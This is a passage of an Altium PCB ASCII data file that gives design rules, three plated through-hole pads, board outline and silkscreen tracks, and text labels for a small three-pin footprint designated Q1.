+|RECORD=Rule|INDEXFORSAVE=26|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingLayers|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingLayers|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|TOP LAYER=Automatic|MID LAYER 1=Automatic|MID LAYER 2=Automatic|MID LAYER 3=Automatic|MID LAYER 4=Automatic|MID LAYER 5=Automatic|MID LAYER 6=Automatic|MID LAYER 7=Automatic|MID LAYER 8=Automatic|MID LAYER 9=Automatic|MID LAYER 10=Automatic|MID LAYER 11=Automatic|MID LAYER 12=Automatic|MID LAYER 13=Automatic|MID LAYER 14=Automatic|MID LAYER 15=Automatic|MID LAYER 16=Automatic|MID LAYER 17=Automatic|MID LAYER 18=Automatic|MID LAYER 19=Automatic|MID LAYER 20=Automatic|MID LAYER 21=Automatic|MID LAYER 22=Automatic|MID LAYER 23=Automatic|MID LAYER 24=Automatic|MID LAYER 25=Automatic|MID LAYER 26=Automatic|MID LAYER 27=Automatic|MID LAYER 28=Automatic|MID LAYER 29=Automatic|MID LAYER 30=Automatic|BOTTOM LAYER=Automatic
+|RECORD=DXPRule|INDEXFORSAVE=27|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=RoutingPriority|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=RoutingPriority|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YNVHYVCP|DEFINEDBYLOGICALDOCUMENT=FALSE|ROUTINGPRIORITY=0
+|RECORD=Rule|INDEXFORSAVE=27|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=RoutingPriority|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=RoutingPriority|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|PRIORITY=0
+|RECORD=DXPRule|INDEXFORSAVE=28|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=Width|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Width|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=SJMEQBVQ|DEFINEDBYLOGICALDOCUMENT=FALSE|MAXLIMIT=10mil|MINLIMIT=10mil|PREFEREDWIDTH=10mil
+|RECORD=Rule|INDEXFORSAVE=28|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=Width|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Width|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|MAXLIMIT=10mil|MINLIMIT=10mil|PREFEREDWIDTH=10mil
+|RECORD=DXPRule|INDEXFORSAVE=29|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PolygonConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PolygonConnect|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=LDMLAJCX|DEFINEDBYLOGICALDOCUMENT=FALSE|CONNECTSTYLE=Relief|RELIEFCONDUCTORWIDTH=10mil|RELIEFENTRIES=4|POLYGONRELIEFANGLE=90 Angle|AIRGAPWIDTH=10mil
+|RECORD=Rule|INDEXFORSAVE=29|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PolygonConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PolygonConnect|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|CONNECTSTYLE=Relief|RELIEFCONDUCTORWIDTH=10mil|RELIEFENTRIES=4|POLYGONRELIEFANGLE=90 Angle
+|RECORD=DXPRule|INDEXFORSAVE=30|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PlaneClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PlaneClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YYATIKGH|DEFINEDBYLOGICALDOCUMENT=FALSE|CLEARANCE=20mil
+|RECORD=Rule|INDEXFORSAVE=30|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PlaneClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PlaneClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|CLEARANCE=20mil
+|RECORD=DXPRule|INDEXFORSAVE=31|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=PlaneConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=PlaneConnect|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=RQYIRGGW|DEFINEDBYLOGICALDOCUMENT=FALSE|PLANECONNECTSTYLE=Relief|RELIEFEXPANSION=20mil|RELIEFENTRIES=4|RELIEFCONDUCTORWIDTH=10mil|RELIEFAIRGAP=10mil
+|RECORD=Rule|INDEXFORSAVE=31|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=PlaneConnect|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=PlaneConnect|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|PLANECONNECTSTYLE=Relief|RELIEFEXPANSION=20mil|RELIEFENTRIES=4|RELIEFCONDUCTORWIDTH=10mil|RELIEFAIRGAP=10mil
+|RECORD=DXPRule|INDEXFORSAVE=32|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=Clearance|NETSCOPE=DifferentNets|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=Clearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=DRALLYKS|DEFINEDBYLOGICALDOCUMENT=FALSE|GAP=10mil|GENERICCLEARANCE=10mil|IGNOREPADTOPADCLEARANCEINFOOTPRINT=FALSE|OBJECTCLEARANCES=ClearanceObj_Arc-ClearanceObj_Hole:0;ClearanceObj_Track-ClearanceObj_Hole:0;ClearanceObj_SMDPad-ClearanceObj_Hole:0;ClearanceObj_THPad-ClearanceObj_Hole:0;ClearanceObj_Via-ClearanceObj_Hole:0;ClearanceObj_Fill-ClearanceObj_Hole:0;ClearanceObj_Poly-ClearanceObj_Hole:0;ClearanceObj_Region-ClearanceObj_Hole:0;ClearanceObj_Text-ClearanceObj_Hole:0
+|RECORD=Rule|INDEXFORSAVE=32|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=Clearance|NETSCOPE=DifferentNets|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=Clearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|GAP=10mil
+|RECORD=DXPRule|INDEXFORSAVE=33|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=UnRoutedNet|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=UnRoutedNet|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=PMXVKRAQ|DEFINEDBYLOGICALDOCUMENT=FALSE
+|RECORD=Rule|INDEXFORSAVE=33|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=UnRoutedNet|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=UnRoutedNet|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=34|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=ShortCircuit|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=ShortCircuit|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=YDRPMLCH|DEFINEDBYLOGICALDOCUMENT=FALSE|ALLOWED=FALSE
+|RECORD=Rule|INDEXFORSAVE=34|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=ShortCircuit|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=ShortCircuit|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=|ALLOWED=FALSE
+|RECORD=Pad|COMPONENT=0|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=Rule|PASTEMASKEXPANSIONMODE=Rule|NAME=3|X=157.4803mil|Y=107.4803mil|XSIZE=78.74mil|YSIZE=39.37mil|SHAPE=ROUND|HOLESIZE=31.496mil|ROTATION= 0.00000000000000E+0000|PLATED=TRUE|DAISYCHAIN=Load|CCSV=0|CPLV=0|CCWV=1|CENV=1|CAGV=1|CPEV=1|CSEV=1|CPCV=1|CPRV=1|CCW=10mil|CEN=4|CAG=10mil|CPE=0mil|CSE=4mil|CPC=20mil|CPR=20mil|PADMODE=0|SWAPID_PAD=|SWAPID_GATE=|&|0|SWAPPEDPADNAME=|GATEID=0|OVERRIDEWITHV6_6SHAPES=FALSE|DRILLTYPE=0|HOLETYPE=0|HOLEWIDTH=0mil|HOLEROTATION= 0.00000000000000E+0000|PADXOFFSET0=0mil|PADYOFFSET0=0mil|PADXOFFSET1=0mil|PADYOFFSET1=0mil|PADXOFFSET2=0mil|PADYOFFSET2=0mil|PADXOFFSET3=0mil|PADYOFFSET3=0mil|PADXOFFSET4=0mil|PADYOFFSET4=0mil|PADXOFFSET5=0mil|PADYOFFSET5=0mil|PADXOFFSET6=0mil|PADYOFFSET6=0mil|PADXOFFSET7=0mil|PADYOFFSET7=0mil|PADXOFFSET8=0mil|PADYOFFSET8=0mil|PADXOFFSET9=0mil|PADYOFFSET9=0mil|PADXOFFSET10=0mil|PADYOFFSET10=0mil|PADXOFFSET11=0mil|PADYOFFSET11=0mil|PADXOFFSET12=0mil|PADYOFFSET12=0mil|PADXOFFSET13=0mil|PADYOFFSET13=0mil|PADXOFFSET14=0mil|PADYOFFSET14=0mil|PADXOFFSET15=0mil|PADYOFFSET15=0mil|PADXOFFSET16=0mil|PADYOFFSET16=0mil|PADXOFFSET17=0mil|PADYOFFSET17=0mil|PADXOFFSET18=0mil|PADYOFFSET18=0mil|PADXOFFSET19=0mil|PADYOFFSET19=0mil|PADXOFFSET20=0mil|PADYOFFSET20=0mil|PADXOFFSET21=0mil|PADYOFFSET21=0mil|PADXOFFSET22=0mil|PADYOFFSET22=0mil|PADXOFFSET23=0mil|PADYOFFSET23=0mil|PADXOFFSET24=0mil|PADYOFFSET24=0mil|PADXOFFSET25=0mil|PADYOFFSET25=0mil|PADXOFFSET26=0mil|PADYOFFSET26=0mil|PADXOFFSET27=0mil|PADYOFFSET27=0mil|PADXOFFSET28=0mil|PADYOFFSET28=0mil|PADXOFFSET29=0mil|PADYOFFSET29=0mil|PADXOFFSET30=0mil|PADYOFFSET30=0mil|PADXOFFSET31=0mil|PADYOFFSET31=0mil|PADJUMPERID=0|UNIQUEID=FTDXMXAD
+|RECORD=Pad|COMPONENT=0|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=Rule|PASTEMASKEXPANSIONMODE=Rule|NAME=2|X=157.4803mil|Y=157.4803mil|XSIZE=78.74mil|YSIZE=39.37mil|SHAPE=ROUND|HOLESIZE=31.496mil|ROTATION= 0.00000000000000E+0000|PLATED=TRUE|DAISYCHAIN=Load|CCSV=0|CPLV=0|CCWV=1|CENV=1|CAGV=1|CPEV=1|CSEV=1|CPCV=1|CPRV=1|CCW=10mil|CEN=4|CAG=10mil|CPE=0mil|CSE=4mil|CPC=20mil|CPR=20mil|PADMODE=0|SWAPID_PAD=|SWAPID_GATE=|&|0|SWAPPEDPADNAME=|GATEID=0|OVERRIDEWITHV6_6SHAPES=FALSE|DRILLTYPE=0|HOLETYPE=0|HOLEWIDTH=0mil|HOLEROTATION= 0.00000000000000E+0000|PADXOFFSET0=0mil|PADYOFFSET0=0mil|PADXOFFSET1=0mil|PADYOFFSET1=0mil|PADXOFFSET2=0mil|PADYOFFSET2=0mil|PADXOFFSET3=0mil|PADYOFFSET3=0mil|PADXOFFSET4=0mil|PADYOFFSET4=0mil|PADXOFFSET5=0mil|PADYOFFSET5=0mil|PADXOFFSET6=0mil|PADYOFFSET6=0mil|PADXOFFSET7=0mil|PADYOFFSET7=0mil|PADXOFFSET8=0mil|PADYOFFSET8=0mil|PADXOFFSET9=0mil|PADYOFFSET9=0mil|PADXOFFSET10=0mil|PADYOFFSET10=0mil|PADXOFFSET11=0mil|PADYOFFSET11=0mil|PADXOFFSET12=0mil|PADYOFFSET12=0mil|PADXOFFSET13=0mil|PADYOFFSET13=0mil|PADXOFFSET14=0mil|PADYOFFSET14=0mil|PADXOFFSET15=0mil|PADYOFFSET15=0mil|PADXOFFSET16=0mil|PADYOFFSET16=0mil|PADXOFFSET17=0mil|PADYOFFSET17=0mil|PADXOFFSET18=0mil|PADYOFFSET18=0mil|PADXOFFSET19=0mil|PADYOFFSET19=0mil|PADXOFFSET20=0mil|PADYOFFSET20=0mil|PADXOFFSET21=0mil|PADYOFFSET21=0mil|PADXOFFSET22=0mil|PADYOFFSET22=0mil|PADXOFFSET23=0mil|PADYOFFSET23=0mil|PADXOFFSET24=0mil|PADYOFFSET24=0mil|PADXOFFSET25=0mil|PADYOFFSET25=0mil|PADXOFFSET26=0mil|PADYOFFSET26=0mil|PADXOFFSET27=0mil|PADYOFFSET27=0mil|PADXOFFSET28=0mil|PADYOFFSET28=0mil|PADXOFFSET29=0mil|PADYOFFSET29=0mil|PADXOFFSET30=0mil|PADYOFFSET30=0mil|PADXOFFSET31=0mil|PADYOFFSET31=0mil|PADJUMPERID=0|UNIQUEID=QXVTVCTY
+|RECORD=Pad|COMPONENT=0|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=Rule|PASTEMASKEXPANSIONMODE=Rule|NAME=1|X=157.4803mil|Y=207.4803mil|XSIZE=78.7402mil|YSIZE=39.3701mil|SHAPE=ROUND|HOLESIZE=31.4961mil|ROTATION= 0.00000000000000E+0000|PLATED=TRUE|DAISYCHAIN=Load|CCSV=0|CPLV=0|CCWV=1|CENV=1|CAGV=1|CPEV=1|CSEV=1|CPCV=1|CPRV=1|CCW=10mil|CEN=4|CAG=10mil|CPE=0mil|CSE=4mil|CPC=20mil|CPR=20mil|PADMODE=0|SWAPID_PAD=|SWAPID_GATE=|&|0|SWAPPEDPADNAME=|GATEID=0|OVERRIDEWITHV6_6SHAPES=FALSE|DRILLTYPE=0|HOLETYPE=0|HOLEWIDTH=0mil|HOLEROTATION= 0.00000000000000E+0000|PADXOFFSET0=0mil|PADYOFFSET0=0mil|PADXOFFSET1=0mil|PADYOFFSET1=0mil|PADXOFFSET2=0mil|PADYOFFSET2=0mil|PADXOFFSET3=0mil|PADYOFFSET3=0mil|PADXOFFSET4=0mil|PADYOFFSET4=0mil|PADXOFFSET5=0mil|PADYOFFSET5=0mil|PADXOFFSET6=0mil|PADYOFFSET6=0mil|PADXOFFSET7=0mil|PADYOFFSET7=0mil|PADXOFFSET8=0mil|PADYOFFSET8=0mil|PADXOFFSET9=0mil|PADYOFFSET9=0mil|PADXOFFSET10=0mil|PADYOFFSET10=0mil|PADXOFFSET11=0mil|PADYOFFSET11=0mil|PADXOFFSET12=0mil|PADYOFFSET12=0mil|PADXOFFSET13=0mil|PADYOFFSET13=0mil|PADXOFFSET14=0mil|PADYOFFSET14=0mil|PADXOFFSET15=0mil|PADYOFFSET15=0mil|PADXOFFSET16=0mil|PADYOFFSET16=0mil|PADXOFFSET17=0mil|PADYOFFSET17=0mil|PADXOFFSET18=0mil|PADYOFFSET18=0mil|PADXOFFSET19=0mil|PADYOFFSET19=0mil|PADXOFFSET20=0mil|PADYOFFSET20=0mil|PADXOFFSET21=0mil|PADYOFFSET21=0mil|PADXOFFSET22=0mil|PADYOFFSET22=0mil|PADXOFFSET23=0mil|PADYOFFSET23=0mil|PADXOFFSET24=0mil|PADYOFFSET24=0mil|PADXOFFSET25=0mil|PADYOFFSET25=0mil|PADXOFFSET26=0mil|PADYOFFSET26=0mil|PADXOFFSET27=0mil|PADYOFFSET27=0mil|PADXOFFSET28=0mil|PADYOFFSET28=0mil|PADXOFFSET29=0mil|PADYOFFSET29=0mil|PADXOFFSET30=0mil|PADYOFFSET30=0mil|PADXOFFSET31=0mil|PADYOFFSET31=0mil|PADJUMPERID=0|UNIQUEID=MNBNLVGK
+|RECORD=Track|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=0mil|Y1=0mil|X2=330.7087mil|Y2=0mil|WIDTH=10mil|SUBPOLYINDEX=0
+|RECORD=Track|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=330.7087mil|Y1=0mil|X2=330.7087mil|Y2=389.7638mil|WIDTH=10mil|SUBPOLYINDEX=0
+|RECORD=Track|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=0mil|Y1=389.7638mil|X2=330.7087mil|Y2=389.7638mil|WIDTH=10mil|SUBPOLYINDEX=0
+|RECORD=Track|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=0mil|Y1=0mil|X2=0mil|Y2=389.7638mil|WIDTH=10mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=212.9923mil|Y1=62.9923mil|X2=212.9923mil|Y2=251.9683mil|WIDTH=7.874mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=101.9683mil|Y1=79.9213mil|X2=101.9683mil|Y2=235.0393mil|WIDTH=7.874mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=119.2913mil|Y1=62.9923mil|X2=212.9923mil|Y2=62.9923mil|WIDTH=7.874mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=119.2913mil|Y1=251.9683mil|X2=212.9923mil|Y2=251.9683mil|WIDTH=7.874mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=101.9683mil|Y1=235.0393mil|X2=119.2913mil|Y2=252.3623mil|WIDTH=7.874mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=101.9683mil|Y1=79.9213mil|X2=119.2913mil|Y2=62.5983mil|WIDTH=7.874mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=MECHANICAL15|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=157.4803mil|Y1=137.7953mil|X2=157.4803mil|Y2=177.1654mil|WIDTH=3.937mil|SUBPOLYINDEX=0
+|RECORD=Track|COMPONENT=0|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=MECHANICAL15|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=137.7953mil|Y1=157.4803mil|X2=177.1653mil|Y2=157.4803mil|WIDTH=3.937mil|SUBPOLYINDEX=0
+|RECORD=Text|COMPONENT=0|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=241.1419mil|Y1=74.2909mil|X2=292.31mil|Y2=145.1376mil|ROTATION= 0.00000000000000E+0000|X=247.0473mil|Y=80.1963mil|HEIGHT=59.055mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=3|WIDTH=5.9055mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=51|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=5|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=0mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=0mil|BARCODEYMARGIN=0mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=FALSE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE
+|RECORD=Text|COMPONENT=0|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=241.1419mil|Y1=173.4249mil|X2=272.6313mil|Y2=244.2716mil|ROTATION= 0.00000000000000E+0000|X=247.0473mil|Y=179.3303mil|HEIGHT=59.055mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=1|WIDTH=5.9055mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=49|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=5|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=0mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=0mil|BARCODEYMARGIN=0mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=FALSE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE
+|RECORD=Text|COMPONENT=0|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=97.9803mil|Y1=275.9803mil|X2=197.9544mil|Y2=355.9609mil|ROTATION= 0.00000000000000E+0000|X=107.9803mil|Y=285.9803mil|HEIGHT=60mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=Q1|WIDTH=10mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=81,49|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=3|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=1050mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=20mil|BARCODEYMARGIN=20mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=TRUE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE|DESIGNATOR=True
+|RECORD=Text|COMPONENT=0|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=97.9803mil|Y1=-41.0197mil|X2=577.8316mil|Y2=38.9609mil|ROTATION= 0.00000000000000E+0000|X=107.9803mil|Y=-31.0197mil|HEIGHT=60mil|FONT=DEFAULT|ROTATION= 